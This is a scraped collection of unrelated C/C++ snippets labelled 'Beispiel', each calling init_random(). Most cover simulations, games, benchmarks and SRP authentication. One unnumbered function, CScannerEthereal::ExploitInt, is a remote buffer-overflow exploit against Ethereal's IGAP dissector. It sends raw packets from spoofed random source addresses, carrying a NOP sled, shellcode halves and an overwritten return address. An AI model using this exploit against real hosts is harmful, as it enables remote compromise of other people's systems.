Beispiel #1
0
int main(int argc, char** argv) 
{
	double		begin;
	double		end;
	size_t		nsym;
	size_t		nactive;
	size_t		n;
	size_t		max_succ;
	cfg_t*		cfg;
	bool		print;
	int		seed = 0;

	progname	= argv[0];

	if (argc == 7) {
		nsym	 	= atoi(argv[1]);
		n		= atoi(argv[2]);
		max_succ	= atoi(argv[3]);
		nactive	 	= atoi(argv[4]);
		print	 	= atoi(argv[6]);
	} else {
		nsym	 	= 100;
		n		= 10;
		max_succ	= 4;
		nactive	 	= 10;
		print		= 1;
	}

	printf("nsymbol   = %zu\n", nsym);
	printf("nvertex   = %zu\n", n);
	printf("max-succ  = %zu\n", max_succ);
	printf("nactive   = %zu\n", nactive);
	
	if (seed == 1)
		init_random(seed);
	else {
		printf("pid %d\n", getpid());
		init_random(getpid());
	}

	printf("generating cfg...\n");
	cfg = new_cfg(n, nsym, max_succ);
	generate_cfg(cfg, n, max_succ);

	printf("generating usedefs...\n");
	generate_usedefs(cfg, n, nsym, nactive);

	printf("liveness...\n\n");
	begin = sec();
	liveness(cfg);
	end = sec();

	printf("T = %8.4lf s\n\n", end-begin);

	if (print)
		print_sets(cfg, stdout);

	free_cfg(cfg);
	return 0;
}
Beispiel #2
0
int main()
{
	init_random();

	m_buffer_t rb(64);
	constexpr std::size_t n_readers = 2;
	m_reader_t rd[n_readers] = { rb, rb };
	rb.mlock();

	constexpr std::size_t max = 10000;
	std::vector<m_type> random_numbers(max + 1);
	for(std::size_t count = 0; count < max; ++count)
	{
		random_numbers[count] = random_number(rb.maximum_eventual_write_space() - 1) + 1;
	}
	random_numbers[max] = 0;

	try
	{
		std::thread t1(write_messages, &rb, random_numbers);
		std::thread t2(read_messages, rd);
		std::thread t3(read_messages, rd + 1);
		t1.join(); t2.join(); t3.join();
	}
	catch(const char* s)
	{
		std::cerr << s << std::endl;
		return 1;
	}

	return 0;
}
Beispiel #3
0
int main(int argc, char * argv[]) {
    uint32_t generation = 0;
    init_gfx();
    init_random();
    run = true;

    init_world();
    while(run) {
        SDL_Event sdl_ev;
        if (SDL_PollEvent(&sdl_ev) != 0) {
            if (sdl_ev.type == SDL_KEYDOWN)
                switch (sdl_ev.key.keysym.sym) {
                    case SDLK_q:
                        run = false;
                        break;
                    case SDLK_SPACE:
                        pause = !pause;
                        break;
                    default:
                        break;
                }
        }
        if (!pause) {
            draw();
            SDL_Flip(surface);
            next_generation(); 
            generation++;
    /*        SDL_Delay(50); */
        }
    }
    SDL_Quit();
    return 0;
}
Beispiel #4
0
int main()
{
	init_random(); // set the random generator seed
	init_ga(); // initialise and evaluate population
	display(); // display initial state

	// evolve population
	while(evals < MAX_EVALS) {
		SF child = create_child();
		eval(&child);
		add_offspring(&child);
		// display output when necessary
		if(evals % DISP_EVALS == 0)
			display();
	}

	// print best shape found
	SF best = pop[fittest_individual()];
	print_sf(&best);

	// write best to stl
//	_Bool grid[GRID_SIZE][GRID_SIZE][GRID_SIZE];
//	draw_super_formula( best.genome, grid );
//	write_stl( grid, "best.stl" );

	return EXIT_SUCCESS;
}
int main(void) {

  //compute the challenge hash
  SHA1((unsigned char *)challenge_string, strlen(challenge_string), &challenge_hash[0]);

  //load words into the dict
  init_dict("words.txt");

  //get ready to read /dev/urandom
  init_random();

  //init 'best'
  top_distance = 5000;

  //compute!
  int nums[NUM_WORDS], i, len, dist;
  char buf[BUF_MAX];
  sha1_hash tmp_hash[SHA_DIGEST_LENGTH];

  while(1) {
    get_nums(nums,NUM_WORDS);
    len = build_string(buf, nums, NUM_WORDS);
    SHA1((unsigned char*)buf, len, tmp_hash);
    dist = distance(challenge_hash, tmp_hash);
    if(dist < top_distance) {
      //we have a winnar (maybe)
      memcpy(top_string, buf, len+1);
      top_distance = dist;
      printf("%i\t\"%s\"\n", top_distance, top_string);
      fflush(stdout);
    }
  }

  return 0;
}
bool CScannerEthereal::ExploitInt(int iOffset) {
	char buffer[MAX_BUFF]; ipheader *iphdr=(ipheader*)buffer; igap_header *igaphdr=(igap_header*)(buffer+sizeof(ipheader));
	unsigned long magic=targets[iOffset].ret; CString sRandomIp; int one=1; const int *val=&one; sockaddr_in sin;

	memset(buffer, 0x00, MAX_BUFF); int sockfd=socket(PF_INET, SOCK_RAW, IPPROTO_RAW); if(sockfd==SOCKET_ERROR) return false;
	if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one))<0) { close(sockfd); return false; }
	init_random(); sRandomIp.Format("%d.%d.%d.%d", brandom(0, 255), brandom(0, 255), brandom(0, 255), brandom(0, 255));

	sin.sin_addr.s_addr=inet_addr(m_sSocket.m_szHost); sin.sin_family=AF_INET; sin.sin_port=0x00;
	
	iphdr->ip_hl=0x05; iphdr->ip_v=0x04; iphdr->ip_tos=0x00; iphdr->ip_len=MAX_BUFF; iphdr->ip_id=htonl(54321);
	iphdr->ip_off=0x00; iphdr->ip_ttl=0x01; iphdr->ip_proto=IPPROTO_IGAP; iphdr->ip_sum=0x00;
	iphdr->ip_src=inet_addr(sRandomIp.CStr()); iphdr->ip_dst=inet_addr(m_sSocket.m_szHost);
	if(iphdr->ip_src==SOCKET_ERROR || iphdr->ip_dst==SOCKET_ERROR) { close(sockfd); return false; }

	igaphdr->igap_type=0x41; igaphdr->igap_restime=0x0a; igaphdr->igap_cksum=0x00; igaphdr->igap_gaddr=0x00;
	igaphdr->igap_ver=0x01; igaphdr->igap_stype=0x21; igaphdr->igap_reserved1=0x00; igaphdr->igap_cid=0x00;
	igaphdr->igap_asize=0x10; igaphdr->igap_msgsize=0x40+PAYLOAD_SIZE; igaphdr->igap_reserved2=0x00;

	memset(igaphdr->igap_payload, 0x90, 16+64+PAYLOAD_SIZE);
	memcpy(igaphdr->igap_payload+16+RETOFFSET-strlen(shellcode_firsthalf)-8, shellcode_firsthalf, strlen(shellcode_firsthalf));
	memcpy(igaphdr->igap_payload+16+64+RETOFFSET-strlen(jumpcode)-4, jumpcode, strlen(jumpcode));
	memcpy(igaphdr->igap_payload+16+64+RETOFFSET, &magic, 4); magic-=0x10;
	memcpy(igaphdr->igap_payload+16+64+RETOFFSET-4, &magic, 4);
	memcpy(igaphdr->igap_payload+16+64+PAYLOAD_SIZE-strlen(shellcode_secondhalf)-1, shellcode_secondhalf, strlen(shellcode_secondhalf));

	igaphdr->igap_cksum=checksum((unsigned short*)(buffer+sizeof(struct ipheader)), (sizeof(struct igap_header))>>1);
	iphdr->ip_sum=checksum((unsigned short*)buffer, (iphdr->ip_len)>>1);

	one=MAX_PACKET; while(one) {
		sendto(sockfd, buffer, MAX_BUFF, 0, (sockaddr*)&sin, sizeof(sin)); one--; }
	close(sockfd); return true; }
Beispiel #7
0
static void person_process(int id) {
	init_random();
	char buf[4096];
    struct lift_msg * reply;
	struct lift_msg m;
    m.person_id = id;
    int len;
    //printf("Created person with id %d\n", m.person_id);
	while(1) {
        // TODO:
		//    Generate a to and from floor
		//    Send a LIFT_TRAVEL message to the lift process
        //    Wait for a LIFT_TRAVEL_DONE message
		//    Wait a little while
	  //printf("Morning! This is number %d speaking.\n", id);
        m.from_floor = get_random_value(id, N_FLOORS - 1);
        do {
            m.to_floor = get_random_value(id, N_FLOORS - 1);
        } while(m.from_floor == m.to_floor);
        //printf("Person %d wants to go to floor %d\n", m.person_id,  m.to_floor);
        m.type = LIFT_TRAVEL;
        message_send((char *) &m, sizeof(m), QUEUE_LIFT, 0);

        do { 
            len = message_receive(buf, 4096, QUEUE_FIRSTPERSON + id); // Wait for a message
            if(len < sizeof(struct lift_msg)) {
                fprintf(stderr, "Message too short\n");
                continue;
            }
            reply = ((struct lift_msg*) buf);
         } while(reply->type != LIFT_TRAVEL_DONE);
        //printf("Going to sleep. Number %d\n", id);
        usleep(1000000);
    }
}
Beispiel #8
0
local void newrun(void) {
  eps = getdparam("eps");			// get input parameters
  dtime = getdparam("dtime");
  nstatic = getiparam("nstatic");
#if !defined(QUICKSCAN)
  theta = getdparam("theta");
#endif
  usequad = getbparam("usequad");
  tstop = getdparam("tstop");
  dtout = getdparam("dtout");
  options = getparam("options");
  outputs = getparam("outputs");
  if (! strnull(infile))			// if data file was given
    inputdata();				// then read inital data
  else {					// else make initial data
    nbody = getiparam("nbody");			// get number of bodies
    // I added this
    timesteps = getiparam("timesteps");     // get number of timesteps
    init_random(getiparam("seed"));		// set random number gen.
    testdata();					// and make plummer model
  }
  rsize = 1.0;					// start root w/ unit cube
  nstep = 0;					// begin counting steps
  tout = tnow;					// schedule first output
}
Beispiel #9
0
int main(int argc, char **argv) {
    int c;

    while((c = getopt_long(argc, argv, "hvrus", long_opts, NULL)) != -1) {
      switch(c) {
      case 'h':
	print_usage(EX_OK); break;
      case 'v':
	print_version(); break;
      case 'r':
	if(rand_file == URANDOM) {
	  fprintf(stderr, "Choose either '-r' or '-u', please.\n");
	  return EX_USAGE;
	}
	rand_file = RANDOM; break;
      case 'u':
	if(rand_file == RANDOM) {
	  fprintf(stderr, "Choose either '-r' or '-u', please.\n");
	  return EX_USAGE;
	}
	rand_file = URANDOM; break;
      case 's':
	print_separate = 1; break;
      }
    }
    
    init_random(rand_file);
    
    if ( optind == argc ) {
      return roll_from_stdin();
    }
    else {
      return roll_from_args(argv);
    }
}
Beispiel #10
0
void main(int argc, char *argv[]) {
    int counter, times;
    if(argc != 2) {
        printf("Get parameter first please!\n");
        return ;
    }
    times = atoi(argv[1]);
    if(times <=0) {
        printf("Get param error\n");
        return;
    }

    init_random();
    init_input();
    init_cells();

    //init_kernel_platform();
    //gettimeofday(&t_start, NULL);
    for(counter=0; counter<times; counter++) {
        run();
    }
    //gettimeofday(&t_end, NULL);
    //close_kernel_platform();

    //printf("exec digital exec success\n");
    //cost_time = (t_end.tv_sec*1000000l+t_end.tv_usec) - (t_start.tv_sec*1000000l+t_start.tv_usec);
    //printf("run Cost time: %lds+%ldus\n", cost_time/1000000, cost_time%1000000);

    close_cells();
    close_random();
    printf("%d times exec over\n", times);
}
Beispiel #11
0
int
main(int argc, char **argv)
{
    char *target_domain;
    if (argc > 0) {		/* should always be true */
	myname = strrchr(argv[0], '/');
	if (myname == NULL)
	    myname = argv[0];
	else
	    myname++;
    } else {
	myname = "(unknown)";
    }
    mypid = getpid();
    target_domain = process_options(argc, argv);
    debug("ntlm winbindd auth helper build " __DATE__ ", " __TIME__
	" starting up...\n");

    check_winbindd();

    if (target_domain == NULL) {
	target_domain = get_winbind_domain();
    }

    /* initialize FDescs */
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    init_random();
    while (manage_request(target_domain)) {
	/* everything is done within manage_request */
    }
    return 0;
}
Beispiel #12
0
static unsigned char *
build_challenge(void)
{
    size_t gotchars;
    unsigned char j;
    switch (have_urandom) {
    case YES:
	if ((gotchars = fread(&challenge, CHALLENGE_LEN, 1, urandom_file)) == 0) {
	    /* couldn't get a challenge. Fall back to random() and friends.
	     * notice that even a single changed byte is good enough for us */
	    have_urandom = NO;
	    return build_challenge();
	}
	return challenge;
    case NO:
	if (!(squid_random() % 100)) {	/* sometimes */
	    init_random();
	}
	for (j = 0; j < CHALLENGE_LEN; j++)
	    challenge[j] = (unsigned char) (squid_random() % 256);
	return challenge;
    default:
	warn("Critical internal error. Somebody forgot to initialize "
	    "the random system. Exiting.\n");
	exit(1);
    }
}
Beispiel #13
0
struct SRPUser * srp_user_new( SRP_HashAlgorithm alg, SRP_NGType ng_type, const char * username, 
                               const unsigned char * bytes_password, int len_password,
                               const char * n_hex, const char * g_hex )
{
    struct SRPUser  *usr  = (struct SRPUser *) malloc( sizeof(struct SRPUser) );
    int              ulen = (int)strlen(username) + 1;

    init_random(); /* Only happens once */
    
    usr->hash_alg = alg;
    usr->ng       = new_ng( ng_type, n_hex, g_hex );
    
    usr->a = BN_new();
    usr->A = BN_new();
    usr->S = BN_new();
    
    usr->username     = (const char *) malloc(ulen);
    usr->password     = (const unsigned char *) malloc(len_password);
    usr->password_len = len_password;
    usr->authenticated = 0;
    memcpy((char *)usr->username, username,       ulen);
    memcpy((char *)usr->password, bytes_password, len_password);
    
    usr->bytes_A = 0;
    
    return usr;
}
Beispiel #14
0
int main(int argc, string argv[])
{
  stream outstr;
  int nmodel;
  real tzero = 0.0;

  initparam(argv, defv);
  layout_body(bodyfields, Precision, NDIM);
  nbody = getiparam("nbody");
  nmodel = getiparam("nmodel");
  if (nbody < 1 || nmodel < 1)
    error("%s: absurd value for nbody or nmodel\n", getprog());
  btab = (bodyptr) allocate(nbody * SizeofBody);
  init_random(getiparam("seed"));
  outstr = stropen(getparam("out"), "w");
  put_history(outstr);
  while (--nmodel >= 0) {
    plummodel(getdparam("mfrac"));
    if (getbparam("besort"))
      qsort(btab, nbody, SizeofBody, berank);
    if (getbparam("zerocm"))
      snapcenter(btab, nbody, MassField.offset);
    put_snap(outstr, &btab, &nbody, &tzero, bodyfields);
    fflush(outstr);
  }
  return (0);
}
int main(int argc, char* argv[])
{
#define MAX_NUMS  10
	time_t tm;
	unsigned int val;
        unsigned long long max;
        unsigned int min;
	int ii;
/*	tm = time(0);
	srand(tm); */
        init_random ();
        val = rand();
        max = 0;
        min = 0;
        ii = MAX_NUMS;
	while(ii--)
	{
		max *= 10;
		max += max ? 9 : 8;
                min *= 10;
                min += min ? 0 : 1;
	}
        
	printf("max = %d\n", (unsigned int) max);
	val = min + ((unsigned long long)val) * max / MAX_INT_VAL;
	printf("rand pass word create: %6d\n", val);
        printf("dev rand pass word create: %6u\n",((unsigned int) (min + (get_dev_random() * max) / MAX_INT_VAL)));
        
        printf("dev urand pass word create: %6u\n",(unsigned int) (min + (get_dev_urandom() * max)/MAX_INT_VAL));
        printf(" dev rand ");
        showalphnum(get_dev_random());
}
Beispiel #16
0
void generate_world(World* world, Tile_Info* info, isize ti_count, uint64 seed, Memory_Arena* arena)
{
	Random r_s;
	Random* r = &r_s;
	init_random(r, seed);


	for(isize i = 0; i < world->areas_height; ++i) {
		for(isize j = 0; j < world->areas_width; ++j) {
			isize index = i * world->areas_width + j;
			World_Area* area = world->areas + index;
			init_world_area(area, arena);
			area->map.info = info;
			area->map.info_count = ti_count;
			generate_tilemap(&area->map, next_random_uint64(r));
			for(isize i = 0; i < World_Area_Tilemap_Width; ++i) {
				Entity* e = world_area_get_next_entity(area);
				Sim_Body* b = sim_find_body(&area->sim, e->body_id);
				e->sprite.texture = Get_Texture_Coordinates(0, 96, 32, 64);
				b->shape.hw = 16;
				b->shape.hh = 12;
				b->inv_mass = 1.0f;
				e->sprite.size = v2(32, 64);
				e->sprite.center = v2(0, 20);
				entity_add_event_on_activate(e, test_on_activate);
				do {
					b->shape.center = v2(
						rand_range(r, 0, area->map.w * 32),
						rand_range(r, 0, area->map.h * 32));
				}
				while (info[tilemap_get_at(&area->map, b->shape.center)].solid);
			}

			generate_statics_for_tilemap(&area->sim, &area->map);

			isize north_link = modulus(i - 1, world->areas_height) * world->areas_width + j;
			isize south_link = modulus(i + 1, world->areas_height) * world->areas_width + j;
			isize west_link = i * world->areas_width + modulus(j - 1, world->areas_width);
			isize east_link = i * world->areas_width + modulus(j + 1, world->areas_width);
			area->north = Area_Link {
				v2i(World_Area_Tilemap_Width / 2,  World_Area_Tilemap_Height - 1), 
				world->areas + north_link
			};
			area->south = Area_Link {
				v2i(World_Area_Tilemap_Width / 2, 1),
				world->areas + south_link
			};
			area->west = Area_Link {
				v2i(World_Area_Tilemap_Width - 1, World_Area_Tilemap_Height / 2),
				world->areas + west_link
			};
			area->east = Area_Link {
				v2i(1, World_Area_Tilemap_Height / 2),
				world->areas + east_link
			};
		}
	}

}
Beispiel #17
0
void init()
{
	double run_time ;
	char f_name[32];
	long cflag;

	

	printf("Input run time "); 
	scanf("%lg",&run_time); //total time for the simulation

  	printf("Input grid size theta ");
    scanf("%ld",&num_of_meshpoint_theta);
    
    printf("Input grid size phi (only half of them) ");
    scanf("%ld",&num_of_meshpoint_phi);
    
    
    printf("Input iterations ");
  	scanf("%ld",&num_of_iteration);
    
    dtheta= PI/num_of_meshpoint_theta;
    dphi=PI/(num_of_meshpoint_phi);
    
    DT = run_time/num_of_iteration;

	printf("Choose integration method "); 
  	printf("\n");
  	printf("\n\t1. Euler");
  	printf("\n\t2. Runge-Kutta (2 steps)");
  	printf("\n\t3. Runge-Kutta (4 steps)");
  	printf("\n\n");
  	printf("Input flag ");
  	scanf("%ld",&method);
  
	printf("Input sigma "); 
  	scanf("%lg",&sigma);

	printf("Choose intial configuration "); 
  	printf("\n");
  	printf("\n\t1. Random");
	printf("\n\t2. Import");
	printf("\n\t3. Debug");
  	printf("\n\n");
  	printf("Input flag ");
  	scanf("%ld",&cflag);

  	switch(cflag){
  	case 1:
	    init_random();
	    break;
  	case 2:
		init_import();
		break;
	case 3:
		debug();
		break;
  	}
}
Beispiel #18
0
int main(int argc, char **argv)
{
  init_random();

  dGame *game = new dGame();
  game->play();
  return 0;
}
Beispiel #19
0
void init_globals()
{
	char temp[256];

	MaxPlayer = 1; //TODO: Add multiple players option

//  getfont();
  load_font();
//  nosound();
  init_random();
//  OldHeapSize = memavail;
//  mark(OldHeapLimit);
//  getmem(tableground1,320*200);
//  getmem(tableground2,320*200);
//  getmem(tableground3,320*200);
    led_display = malloc(160*24);
//  getmem(arm_links,ArmBreiteLinks*ArmHoeheLinks*5);
//  getmem(arm_rechts,ArmBreiteRechts*ArmHoeheRechts*5);
//  getmem(arm_links_msk,ArmBreiteLinks*ArmHoeheLinks*5);
//  getmem(arm_rechts_msk,ArmBreiteRechts*ArmHoeheRechts*5);
  ball = malloc(256);
  ground = malloc(256);
  ball_sprite = malloc(256);
  underground = malloc(1024);
  tableground = malloc(9368);
  feder = malloc(480);
//  ledseg=seg(Led_display^);
//  armlinksseg:=seg(arm_links^);
//  armrechtsseg:=seg(arm_rechts^);
//  armlinks_mskseg:=seg(arm_links_msk^);
//  armrechts_mskseg:=seg(arm_rechts_msk^);
//  ballseg:=seg(ball^);
//  groundseg:=seg(ground^);
//  ballspriteseg:=seg(ball_Sprite^);
//  undergroundseg:=seg(underground^);
//  tablegroundseg:=seg(tableground^);
//  federseg:=seg(Feder^);

    led_hoehe=24; led_color_1=129; led_color_2=130; led_funktion=0;
//  {twix-mode 320x400 }
//  vga320x400Overscan(); //{setlinecomp(400-46);}

  load_table_tab();
  load_table_gro();
  load_feder();

  init_colors();

  sprintf(temp,"gfx/feder%c.mpa", tnr);
  load_mini_palette(temp);
  load_arm_links();
  load_arm_rechts();
  load_arm_links_msk();
  load_arm_rechts_msk();
  load_ball();
  
  if (UseSound) init_soundkit();
}
Beispiel #20
0
struct SRPUser *srp_user_new(SRP_HashAlgorithm alg, SRP_NGType ng_type,
	const char *username, const char *username_for_verifier,
	const unsigned char *bytes_password, size_t len_password, const char *n_hex,
	const char *g_hex)
{
	struct SRPUser *usr = (struct SRPUser *)srp_alloc(sizeof(struct SRPUser));
	size_t ulen = strlen(username) + 1;
	size_t uvlen = strlen(username_for_verifier) + 1;

	if (!usr) goto err_exit;

	if (init_random() != SRP_OK) /* Only happens once */
		goto err_exit;

	usr->hash_alg = alg;
	usr->ng = new_ng(ng_type, n_hex, g_hex);

	mpz_init(usr->a);
	mpz_init(usr->A);
	mpz_init(usr->S);

	if (!usr->ng) goto err_exit;

	usr->username = (char *)srp_alloc(ulen);
	usr->username_verifier = (char *)srp_alloc(uvlen);
	usr->password = (unsigned char *)srp_alloc(len_password);
	usr->password_len = len_password;

	if (!usr->username || !usr->password || !usr->username_verifier) goto err_exit;

	memcpy(usr->username, username, ulen);
	memcpy(usr->username_verifier, username_for_verifier, uvlen);
	memcpy(usr->password, bytes_password, len_password);

	usr->authenticated = 0;

	usr->bytes_A = 0;

	return usr;

err_exit:
	if (usr) {
		mpz_clear(usr->a);
		mpz_clear(usr->A);
		mpz_clear(usr->S);
		if (usr->ng) delete_ng(usr->ng);
		srp_free(usr->username);
		srp_free(usr->username_verifier);
		if (usr->password) {
			memset(usr->password, 0, usr->password_len);
			srp_free(usr->password);
		}
		srp_free(usr);
	}

	return 0;
}
Beispiel #21
0
t_info		*init()
{
  t_info	*info;

  init_random();
  info = init_info();
  init_signal(info);
  return (info);
}
Beispiel #22
0
// clang-format off
SRP_Result srp_create_salted_verification_key( SRP_HashAlgorithm alg,
	SRP_NGType ng_type, const char *username_for_verifier,
	const unsigned char *password, size_t len_password,
	unsigned char **bytes_s,  size_t *len_s,
	unsigned char **bytes_v, size_t *len_v,
	const char *n_hex, const char *g_hex )
{
	SRP_Result ret = SRP_OK;

	mpz_t v; mpz_init(v);
	mpz_t x; mpz_init(x);
	// clang-format on

	NGConstant *ng = new_ng(ng_type, n_hex, g_hex);

	if (!ng) goto error_and_exit;

	if (init_random() != SRP_OK) /* Only happens once */
		goto error_and_exit;

	if (*bytes_s == NULL) {
		size_t size_to_fill = 16;
		*len_s = size_to_fill;
		if (RAND_BUFF_MAX - g_rand_idx < size_to_fill)
			if (fill_buff() != SRP_OK) goto error_and_exit;
		*bytes_s = (unsigned char *)srp_alloc(size_to_fill);
		if (!*bytes_s) goto error_and_exit;
		memcpy(*bytes_s, g_rand_buff + g_rand_idx, size_to_fill);
		g_rand_idx += size_to_fill;
	}

	if (!calculate_x(
			x, alg, *bytes_s, *len_s, username_for_verifier, password, len_password))
		goto error_and_exit;

	srp_dbg_num(x, "Server calculated x: ");

	mpz_powm(v, ng->g, x, ng->N);

	*len_v = mpz_num_bytes(v);

	*bytes_v = (unsigned char *)srp_alloc(*len_v);

	if (!*bytes_v) goto error_and_exit;

	mpz_to_bin(v, *bytes_v);

cleanup_and_exit:
	delete_ng(ng);
	mpz_clear(v);
	mpz_clear(x);
	return ret;
error_and_exit:
	ret = SRP_ERR;
	goto cleanup_and_exit;
}
Beispiel #23
0
struct SRPUser * srp_user_new( SRP_HashAlgorithm alg, SRP_NGType ng_type, const char * username, 
                              const char * bytes_password, int len_password,
                               const char * n_hex, const char * g_hex )
{
    struct SRPUser  *usr  = (struct SRPUser *) malloc( sizeof(struct SRPUser) );
    int              ulen = strlen(username) + 1;

    if (!usr)
       goto err_exit;

    init_random(); /* Only happens once */
    
    usr->hash_alg = alg;
    usr->ng       = new_ng( ng_type, n_hex, g_hex );
    
    usr->a = BN_new();
    usr->A = BN_new();
    usr->S = BN_new();

    if (!usr->ng || !usr->a || !usr->A || !usr->S)
       goto err_exit;
    
    usr->username     = (const char *) malloc(ulen);
    usr->password     = (const unsigned char *) malloc(len_password);
    usr->password_len = len_password;

    if (!usr->username || !usr->password)
       goto err_exit;
    
    memcpy((char *)usr->username, username,       ulen);
    memcpy((char *)usr->password, bytes_password, len_password);

    usr->authenticated = 0;
    
    usr->bytes_A = 0;
    
    return usr;

 err_exit:
    if (usr)
    {
       BN_free(usr->a);
       BN_free(usr->A);
       BN_free(usr->S);
       if (usr->username)
          free((void*)usr->username);
       if (usr->password)
       {
          memset((void*)usr->password, 0, usr->password_len);
          free((void*)usr->password);
       }
       free(usr);
    }
    
    return 0;
}
Beispiel #24
0
void init() {
    stack_position = StackPosition::CENTERED;

    init_random();
    input.init();
    init_modes();
    init_textures();
    menu.init();
    menu.init_graphics();
}
Beispiel #25
0
int main(int argc, string argv[])
{
    initparam(argv, defv);
    readgsp();
    init_random(getiparam("seed"));
    layout_body(bodyfields, Precision, NDIM);
    gspmodel();
    writemodel();
    return (0);
}
Beispiel #26
0
void init() {
    map_node = nx::map["Map"];
    if (!map_node) { throw std::runtime_error{"Theres no maps!"}; }
    old_style = !map_node["Map0"];
    init_random();
    load_random(); // Just in case loading the config'd map fails
    load(config::map, "sp");
    if (!next) { throw std::runtime_error{"No map to load!"}; }
    load_now();
}
Beispiel #27
0
int main(int argc, string argv[])
{
    initparam(argv, defv);
    readgsp();
    init_random(getiparam("seed"));
    layout_body(bodyfields, Precision, NDIM);
    gspsphere();
    if (getbparam("zerocm"))
        snapcenter(btab, nbody, MassField.offset);
    writemodel();
    return (0);
}
Beispiel #28
0
SRPUser * srp_user_new_with_a(SRP_HashAlgorithm alg,
                              SRP_NGType ng_type,
                              const char *username,
                              const char *password,
                              const char *n_hex,
                              const char *g_hex,
                              BIGNUM *a) {
    SRPUser *usr = (SRPUser *)malloc(sizeof(SRPUser));
    int username_length = strlen(username) + 1;
    int password_length = strlen(password) + 1;
    
    if (!usr) goto err_exit;

    init_random();
    
    usr->hash_alg = alg;
    usr->ng = new_ng(ng_type, n_hex, g_hex);
    usr->a = a;
    usr->A = BN_new();
    usr->S = BN_new();
    usr->Astr = 0;
    usr->HAMK = 0;
    
    if (!usr->ng || !usr->a || !usr->A || !usr->S) goto err_exit;
    
    usr->username = (const char *) malloc(username_length);
    usr->password = (const char *) malloc(password_length);
    usr->password_len = password_length;
    
    if (!usr->username || !usr->password) goto err_exit;
    
    memcpy((char *)usr->username, username, username_length);
    memcpy((char *)usr->password, password, password_length);
    
    usr->authenticated = 0;
    usr->bytes_A = 0;
    
    return usr;
    
err_exit:
    if (usr) {
        BN_free(usr->a);
        BN_free(usr->A);
        BN_free(usr->S);
        if (usr->username) free((void*)usr->username);
        if (usr->password) {
            memset((void*)usr->password, 0, usr->password_len);
            free((void*)usr->password);
        }
        free(usr);
    }
    return 0;
}
Beispiel #29
0
JNIEXPORT void JNICALL Java_handevaluator_jni_JNIHandEvaluator_runOverhead(JNIEnv *env , jclass clazz, jint trials) {
	init_random(trials);
	deck_struct deck;
	init_deck(&deck);
	int i, j;
	char cards[7];
	for (i=0; i < trials; i++) {
		reset_deck(&deck);
		for (j=0; j < 7; j++) {
			cards[j] = draw_random_card(&deck); 
		}
	}
}
Beispiel #30
0
int on_program_start(Tcl_Interp *interp)
{
  EVENT_TRACE(fprintf(stderr, "%d: on_program_start\n", this_node));

  /*
    call the initialization of the modules here
  */
  init_random();
  init_bit_random();

  setup_node_grid();
  /* calculate initial minimimal number of cells (see tclcallback_min_num_cells) */
  min_num_cells = calc_processor_min_num_cells();

  cells_pre_init();
  ghost_init();
  /* Initialise force and energy tables */
  force_and_energy_tables_init();
#ifdef ADRESS
#ifdef INTERFACE_CORRECTION
  adress_force_and_energy_tables_init();
#endif
  /** #ifdef THERMODYNAMIC_FORCE */
  tf_tables_init();
  /** #endif */
#endif
#ifdef ELP3M
  fft_pre_init();
#endif

#ifdef LB_GPU
  if(this_node == 0){
    lb_pre_init_gpu();
  }
#endif
#ifdef LB
  lb_pre_init();
#endif

  /*
    call all initializations to do only on the master node here.
  */
  if (this_node == 0) {
    /* interaction_data.c: make sure 0<->0 ia always exists */
    make_particle_type_exist(0);
    
    init_tcl(interp);
  }
  return TCL_OK;

}